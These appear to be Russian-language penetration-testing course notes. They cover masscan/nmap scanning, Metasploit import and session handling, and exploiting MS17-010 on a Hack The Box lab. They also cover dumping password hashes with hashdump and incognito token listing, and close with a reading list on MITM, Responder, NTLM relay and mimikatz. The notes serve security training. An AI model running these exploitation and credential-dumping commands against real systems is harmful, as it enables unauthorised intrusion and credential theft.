Быстрее сканит подсети чем **nmap** ( --rate =10000 - это влияет на скорость скана)
(сеть может просесть, и могут быть пропуски портов)

Выборка портов


Если небольшое кол-во хостов, то лучше сразу сканировать
#nmap #scan
**Малый скоуп:(когда мало времени)** sudo nmap -g 53 -vv -sS -sV --version-all -n --open --min-rate=200 --min-parallelism=256 -p 2375,623,27017,27018,27019,28017,44818,6379,4786,3050,2049,5800,5900,1521,1433,5432,6000,3306,3389,8080,8081,8443,8180,1311,80,88,111,113,264,443,445,139,389,512,513,514,548,593,554,8554,873,1090,1098,1099,4444,11099,47001,47002,10999,3128,3260,3299,5555,5984,8009,9100,9160,11211,135,21,22,23,79,10000,9000-9003,110,25,143,16379,26379,1540,1541,1560,2222,2022,1022,8000-8003,8090,9443,8888,8800,4848,8181,8008,7000-7004,8880,2121,8400,6129,992,5433,9200,9300,4321,2376,10255,5000,8983,8088,8383,4990,8500,6066,2301,2381,5060,9503,7070,7071,45000,45001,8686,9012,50500,11111,4445,5556 -iL nets.txt -oA full_tcp_scan_nmap
#masscan #scan
**Большой скоуп:**
masscan -e tun0 192.168.100.0/16 -p 2375,623,27017,27018,27019,28017,44818,6379,4786,3050,2049,5800,5900,1521,1433,5432,6000,3306,3389,8080,8081,8443,8180,1311,80,88,111,113,264,443,445,139,389,512,513,514,548,593,554,8554,873,1090,1098,1099,4444,11099,47001,47002,10999,3128,3260,3299,5555,5984,8009,9100,9160,11211,135,21,22,23,79,10000,9000-9003,110,25,143,16379,26379,1540,1541,1560,2222,2022,1022,8000-8003,8090,9443,8888,8800,4848,8181,8008,7000-7004,8880,2121,8400,6129,992,5433,9200,9300,4321,2376,10255,5000,8983,8088,8383,4990,8500,6066,2301,2381,5060,9503,7070,7071,45000,45001,8686,9012,50500,11111,4445,5556 --rate=10000 -oX full_tcp_scan.xml
**Малый скоуп тщательно(большее покрытие)** все порты:
masscan --rate=3000 -p- <internal scope> - сканим все порты на скоупе
sudo masscan -e eth0 -iL ./networks_for_scan.txt -p- --rate 1000 -oB full_masscan.bin
https://github.com/kiriknik/from-masscan-to-nmap
**script Результаты масскан конвертирует в nmap **
https://github.com/kiriknik/from-masscan-to-nmap


Подключаемся к лабе Regular.ovpn

masscan

результаты сканирования

Пробуем nmap

Эти сканы импортируем в метасплойт
создаем workspace -a
делаем импорт результатов скана
db_import name.xml
services - показывает какие сервисы


можем grep windows services -p445

Services -s http (поиск по строчке во всех полях)
hosts - отображает хосты
creds - учетные данные
vulns - уязвимости отображает

**Типовые вектора пробива**

Пробиваем тачку
search ms17_010

services -p 445 -R (-R как рхост ) (все хосты с портом 445 записываются в файл и он прописывается в RHOST)


set threads 100
set check_pipe true (проверка наличия именованных каналов, счит безопасным)
set verbose false
run
netlogon эксплуатируем

use exploit/windows/smb/ms17_010_psexec
set rhosts

**Blue Hack The Box**
проводим сканирование
ms17_010 #exploit_ms17_010
переполняет буфер смб сессии и перезаписывает с анонимной сессии на систем

- getuid
- background
отправили сессию в бэкграунд

sessions -l /session
session -n haris -i 1 (имя харис для сессии 1)

для всех сессий команда whoami

sessions -c whoami (команда выполняется в командной строчке)
sessions -C ps -команда метерпреттер (-С) для всех сессий, получить список задач вовсех сессиях
sessions -K убивает все сессии
создали файл со скриптом script.rc
ВВели несколько команд метерпреттера в файлe :
getuid
getprivs
load incognito
list_token -u

B сессии выполняем скрипт
sessions -i 1 -C "resource /home/kai/script.rc"


Все команды из скрипта выполнились
Через команду **resource** можем подгружать скрипты

sessions -C "resource /..." -во всех сессиях применяем скрипт
msfconsole -R
#hashdump_msf
hashdump - вытаскиваем учетные данные
smarthashdump
use post/windows/gather/smart_hashdump
**Jobs and session**


Пароли локальных учетных данных попали в воркспейс

Выгружаем сервисы в файл
services -o serv.txt
vulns -o vuln.txt

Юзаем пост модуль #post_msf
use post/windows/gather/checkvm
(проверяем вирт машин ли это)

**Как выглядит модуль метасплойта**

НАписан на руби

# Материалы и описание для самостоятельного изучения:
2 занятие
Шпаргалка для пентестеров и защитных команд о атаках MITM
https://github.com/frostbits-security/MITM-cheatsheet
Отсутствие в протоколе Spanning Tree механизмов аутентификации позволяет без труда организовать атаку против сети на базе коммутаторов.
http://cybervlad.net/stp/index.html
Возможные схемы атак Spanning Tree
https://bugtraq.ru/library/books/stp/chapter06/
Responder 2.0 и сети Windows
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/responder-20-owning-windows-networks-part-3/
Responder WPAD, CROSS-SITE SCRIPTING, HTML, извлечение паролей базы данных через sql injection
https://www.nopsec.com/responder-beyond-wpad/
Уязвимость WPAD используя
https://trelis24.github.io/2018/08/03/Windows-WPAD-Poisoning-Responder/
Responder - CheatSheet
https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/
Объединение ретрансляции NTLM и делегирования Kerberos
https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
IPv6 под прицелом - статья на Хабре
https://habr.com/ru/company/xakep/blog/244383/
IPv6 SLAAC Attack подробнее про атаку - статья на Хабре
https://habr.com/ru/post/245935/
Эксплуатация IPv6 для MITM атак
https://innostage-group.ru/blog/technical/ipv6/
Где вставить кавычку в IPv6 - статья на Хабре
https://habr.com/ru/company/pm/blog/417285/
mitm6 – компрометация сетей IPv4 через IPv6
https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/
Виртуальные машины на Windows 10
https://developer.microsoft.com/ru-ru/microsoft-edge/tools/vms/
Захват Сетей IPv6
https://blog.vonahi.io/taking-over-ipv6-networks/
Download mitm6
https://github.com/fox-it/mitm6
О протоколе WPAD
https://cryptoworld.su/mitm-атака-при-помощи-протокола-wpad/
3 lesson
METASPLOIT UNLEASHED – бесплатный курс этического взлома
https://www.offensive-security.com/metasploit-unleashed
Pentesting MSSQL
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
6 lesson
Вспомогательные модули MSSQL сканера
https://www.offensive-security.com/metasploit-unleashed/scanner-mssql-auxiliary-modules/
Документация по SQL: xp_cmdshell (Transact-SQL)
https://docs.microsoft.com/ru-ru/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15
Install Docker and Docker Compose on Kali Linux
https://computingforgeeks.com/install-docker-and-docker-compose-on-kali-linux/
Vulhub - это коллекция готовых уязвимых сред docker с открытым исходным кодом
https://github.com/vulhub/vulhub
Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
SambaCry RCE exploit for Samba 4.5.9
https://github.com/opsxcq/exploit-CVE-2017-7494
Заметка Macros Visual Basic
https://gist.github.com/mgeeky/9dee0ac86c65cdd9cb5a2f64cef51991
8 lesson
PayloadsAllTheThings - Gost
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md#gost
Gost documentation
https://docs.ginuerzh.xyz/gost/en/
Chisel
https://github.com/jpillora/chisel
Proxychains
https://github.com/haad/proxychains
9 lesson
Эволюция аутентификации LM и NTLM
https://ru.wikipedia.org/wiki/NTLMv2
Хранение и шифрование паролей Microsoft Windows
https://habr.com/ru/post/114150/
Слабые стороны Windows - NTLM
https://gitbook.brainyou.stream/basic-windows/windows-weaknesses
Передача хэша Мертва: Да здравствует LocalAccountTokenFilterPolicy
http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/
10 lesson
Манипулирование паролями пользователей используя mimikatz
https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/
Cheatsheet по основным функциям mimikatz
https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49
12 lesson
Relaying
https://habr.com/ru/company/otus/blog/561754/
Nullinux — инструмент идентификации и перечисления нулевых сеансов smb
https://kali.tools/?p=5267
BloodHound collectors - позволяет визуализировать взаимоотношения в Active Directory
https://cybersec.org/soft/bloodhound-3-0-tvoya-ishhejka-v-active-directory.html
PowerShell Module Browser - Поиск всех модулей и командлет PowerShell от Microsoft
https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2019-ps